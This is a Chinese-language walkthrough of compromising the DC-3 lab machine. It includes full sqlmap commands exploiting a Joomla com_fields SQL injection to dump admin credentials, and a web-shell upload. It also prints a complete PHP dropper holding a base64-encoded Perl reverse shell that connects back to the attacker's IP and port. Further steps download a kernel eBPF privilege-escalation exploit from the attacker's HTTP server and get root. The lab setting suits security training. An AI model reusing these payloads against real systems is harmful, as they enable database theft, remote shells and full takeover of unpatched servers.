靶机需要在与kali机在同一网段下:
Dc-3的桌面:
好吧,是一个登陆界面,而且还是一个ubunto
开始吧!
第一步——信息收集
1.kali的IP:192.168.13.128
2.arp-scan -l 扫描获得靶机的ip:192.168.13.131
3.看看靶机ip中正在使用的端口:
只有一个80端口,那么因该存在一个网站:
4.扫描该ip寻找他的相关域名:
可以看到域名为http://192.168.13.131 登录看看:
5.查看其下还有没有别的域名:
还不少嘞,其中发现
Index.php有东西,查看它:
哇塞,是一个新的登陆系统。
查看了资料才知道,Joomla 是一个流行的开源内容管理系统(CMS),用于构建和管理网站。它提供了强大的功能和灵活性,使用户能够创建各种类型的网站,包括博客、企业网站、在线商店等。
原来是一个插件,那么既然是插件那么就可能存在漏洞:
使用joomscan,查看以下他的版本号:
找到了他的版本号
6.查看是否存在漏洞:
竟然是sql注入漏洞
搜集到现在可以获得的信息:
kali的ip:192.168.13.128
靶机的ip:192.168.13.131
靶机ip下的域名:http://192.168.13.131以及域名下的域名
发现两个登陆系统,其中一个joolma存在sql注入漏洞
只发现一个端口号80端口的http服务
第二步——漏洞渗透
1.找到sql注入的源文件
找到后就可以将其内容添加到桌面:
提供了sqlmap的注入方法:
sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
将域名换为需要注入的域名:
sqlmap -u "http://192.168.13.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb
___
成功得到库名:
继续注入,获得表名:
sqlmap -u "http://192.168.13.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb --tables
获得表名:
其中有一个user表,注入它获得列名:sqlmap -u "http://192.168.13.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb -T '#__users' --columns
获得了列名,现在就是最后一步,获得字段值:sqlmap -u "http://192.168.13.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb -T '#__users' -C username,password --dump
得到用户名和密码: admin | $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
但是密码并不是明文的,所以需要解密,该密码是一个哈希值,解码后的结果是:
Snoopy
2.进行登录查看:
里面有一个欢迎界面:
将其翻译:
这次,只有一个标志、一个入口点,没有线索。
要获取这个标志,显然你需要获取 root 权限。
如何成为 root 取决于你 - 当然也取决于系统。
祝你好运 - 希望你享受这个小挑战。 :-)
看来还是要提权才可以
3.查看资料得知需要找到一个文件上传的界面也是找到了:
需要写一个一句话木马进行提权:
木马位置:http://192.168.13.131/templates/beez3/shell.php
使用蚁剑进行连接:
连接后发现竟然不可以打开root的权限,也获得不了flag,还是要提权,那么就回到上一步:
查看资料后得知可以使用php提权,拿到他的shell
首先创建一个php文件:内容为:
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "192.168.13.128";
$yourport = '4444';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>
这个是一个在网上找的提权代码,将其保存
然后,在终端上开启本机端口4444:nc -lvnp 4444,访问
http://192.168.13.131/templates/beez3/webshell.php
执行交互代码:
python -c 'import pty;pty.spawn("/bin/bash")'
拿到了shell
7.查看其权限:
好吧,并不是root权限,还需提权。
linux系统下要尤其注意 /etc/passwd 和/etc/crontab两个文件 前者用来存储用户名 后者用来存储定时任务
有时候都是解题的关键就是查看/etc/passwd
查看/etc/passwd:
并没有什么可以使用的
看下一个:
还是没有发现什么可以运用的内容
经过查阅资料得知,需要找到版本漏洞,利用版本漏洞进行提权:
那么就查看他的版本号:
7.在打开一个新的终端找他的漏洞(建议最大屏幕):
可以看到4.4.x中存在远程提权漏洞
找他的漏洞信息:
找到该信息,并且将其copy到桌面:
还提供了漏洞的使用方法,我简单一说:就是将39774.zip下载到本机,然后在利用靶机的漏洞进行下载本机的文件,最后执行
user@host:~/ebpf_mapfd_doubleput$ ./compile.sh
user@host:~/ebpf_mapfd_doubleput$ ./doubleput
实现本机的提权。
方法:首先根据最下方的网站进行下载到本机桌面,但是这个是无法下载的于是就在网络上找到一个文件,然后在传输到kali机上
,并进行解压:
现在需要打开本机终端开启本机的http服务端口
将exploit.tar的下载连接进行copy
http://192.168.13.128:8888/39772/exploit.tar
打开连接着dc-3的终端,远程下载它:
解压它:
进入ebpf_mapfd_doubleput_exploit/文件夹:
执行那两个文件:./compile.sh
和./doubleput
然后执行root权限功能,查看是否提权成功:
并使用whomai查看权限:
成功了,现在搜索flag的所在地:find /-name *flag*:
在root下发现flag:
成功了!!!!!!!!